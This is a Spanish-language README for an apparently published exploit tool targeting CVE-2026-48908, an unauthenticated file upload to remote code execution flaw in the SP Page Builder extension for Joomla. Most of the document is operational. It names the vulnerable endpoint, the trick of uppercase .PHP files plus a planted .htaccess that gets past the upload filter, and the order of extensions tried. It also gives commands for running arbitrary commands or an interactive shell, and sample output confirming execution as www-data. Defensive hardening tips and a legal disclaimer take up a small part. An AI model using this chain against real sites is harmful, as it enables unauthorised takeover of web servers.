PoC de RCE no autenticada para CVE-2026-48908 — SP Page Builder for Joomla (≤ 6.6.1): carga arbitraria de archivos mediante asset.uploadCustomIcon. Autolimpieza, protegido por token. Solo para pruebas autorizadas.
| CVE | CVE-2026-48908 |
| Debilidad | CWE-284 Control de acceso inadecuado → Subida arbitraria de archivos no autenticada → RCE |
| Componente | SP Page Builder (com_sppagebuilder) para Joomla |
| Afectados | 1.0.0 – 6.6.1 |
| Corregido en | 6.6.2 |
| Privilegios requeridos | Ninguno (pre-autenticación) |
| Interacción del usuario | Ninguna |
SP Page Builder expone la tarea del controlador asset.uploadCustomIcon para gestionar la subida de un
paquete de fuentes de iconos personalizado:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
En las versiones afectadas, esta tarea es accesible sin autenticación y sin un token anti-CSRF
válido. Acepta un archivo ZIP (campo multipart custom_icon) y extrae su contenido en un
directorio servido públicamente por web dentro de la raíz del documento:
/media/com_sppagebuilder/assets/iconfont/<nombre>/ (incluyendo la subcarpeta fonts/)
Debido a que la subida es accesible pre-autenticación y los archivos extraídos terminan en la raíz web, un atacante puede escribir archivos controlados por él en una ubicación navegable y acceder a ellos por HTTP.
Algunas compilaciones añaden un filtro de nombres de archivo del lado del servidor sobre las entradas del archivo. Esta PoC vence a una implementación común del mismo con una cadena de tres pasos:
.php, .phtml, .phar,
.php3–.php8, .pht, .inc, … en minúsculas, pero no normaliza las mayúsculas, por lo que .PHP (y otras
variantes con mayúsculas combinadas) y .htaccess pasan el filtro.<FilesMatch "\.php$">)
solo ejecuta .php en minúsculas, así que un .PHP subido se sirve inicialmente como texto fuente, no se ejecuta..htaccess. Un .htaccess (que la lista negra tampoco detecta) que contenga
AddType application/x-httpd-php .PHP se deja junto al payload. Cuando AllowOverride
lo permite, esto registra .PHP como PHP y el shell subido se ejecuta.La PoC siempre empaqueta una estructura de fuente de iconos válida (selection.json, style.css,
fonts/<nombre>.ttf) para que la subida sea aceptada, y luego añade el shell.
Adaptativa: recorre una lista de extensiones ejecutables por PHP (primero la de menor huella), y luego un
respaldo con .htaccess, deteniéndose en la primera que realmente ejecuta código:
fonts/<shell>.<ext> para cada una de
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Sin .htaccess.
Diferentes filtros de SP Page Builder bloquean conjuntos distintos, y diferentes configuraciones de Apache ejecutan
extensiones distintas; por eso esto encuentra cualquier combinación que el objetivo permita y ejecute.fonts/.htaccess + fonts/<shell>.PHP (respaldo) — solo si todos los intentos directos fallan.
El .htaccess dejado en el servidor (AddType … .PHP) fuerza a que un .PHP en mayúsculas se ejecute cuando
AllowOverride lo permite (esto es lo que necesitan los hosts estilo 5.4.6).Se detiene en el primer método que se ejecuta e indica cuál funcionó. Cada subida aceptada queda
registrada, por lo que --cleanup elimina todas (varios intentos pueden dejar directorios de solo escritura).
Dependiendo de la versión y del endurecimiento del servidor, el resultado varía, y la PoC lo indica explícitamente (ver Resultados más abajo): RCE completa, solo escritura de archivos (PHP deshabilitado /
AllowOverride None), parcheado (solo admin), o no vulnerable.
pip install -r requirements.txt # requests
# confirmar la vulnerabilidad y probar la ejecución de código (ejecuta `id`)
python3 sppb_rce.py https://target.example
# ejecutar un comando específico
python3 sppb_rce.py --url target.example -c "uname -a"
# pseudo-shell interactivo
python3 sppb_rce.py https://target.example --shell
# solo comprobar; no ejecutar ningún comando
python3 sppb_rce.py https://target.example --check
# eliminar el directorio de payload subido después
python3 sppb_rce.py https://target.example --cleanup
El objetivo puede indicarse como argumento posicional o mediante --url, con o sin esquema.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rechazado por el filtro
[*] try .php3 -> rechazado por el filtro
...
[*] try .PHP -> subido, no ejecutado
[*] try .htaccess+.PHP -> EJECUTADO
[+] EJECUCIÓN DE CÓDIGO CONFIRMADA vía '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: hecho (4 directorios)
La PoC siempre indica el veredicto para el objetivo:
| Salida | Significado | Salida |
|---|---|---|
CODE EXECUTION CONFIRMED via '<método>' | Vulnerable — RCE no autenticado completo | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Solo escritura de archivos (AllowOverride None / PHP deshabilitado en /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Parcheado — la subida ahora requiere autenticación de admin | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | No explotable / componente no presente | 2 |
404 a cualquiera que no lo
tenga; no es una puerta trasera abierta a todo el mundo.--cleanup elimina el directorio de payload que creó.id, un marcador aritmético)./media/, /images/, /tmp) mediante el pool de FPM o
php_admin_flag engine off.AllowOverride None en esos directorios para que un .htaccess dejado en el servidor no pueda re-activar manejadores..php/.PHP inesperados en media/.../iconfont/, cuentas nuevas de Súper
Usuario y gestores de archivos plantados.Exploit de Joomla SP Page Builder · com_sppagebuilder RCE no autenticado · PoC de CVE-2026-48908 · asset.uploadCustomIcon subida arbitraria de archivos · ejecución remota de código en Joomla · script de exploit para pentest.
Este software se publica solo con fines educativos y para pruebas de seguridad autorizadas — por ejemplo, pruebas de penetración para las que tiene permiso por escrito, programas de bug bounty que incluyan el objetivo dentro del alcance, competiciones CTF y sus propios sistemas de laboratorio.
Acceder, modificar o interrumpir sistemas informáticos sin autorización es ilegal en la mayoría de las jurisdicciones. Usted es única y enteramente responsable de sus propias acciones. Al usar, descargar o distribuir este código acepta que:
Si no está de acuerdo con estos términos, no use este software. Como cualquier exploit/PoC disponible públicamente, se comparte de buena fe para ayudar a los defensores a detectar, entender y mitigar la vulnerabilidad; lo que haga con él es responsabilidad suya.
MIT — ver LICENSE.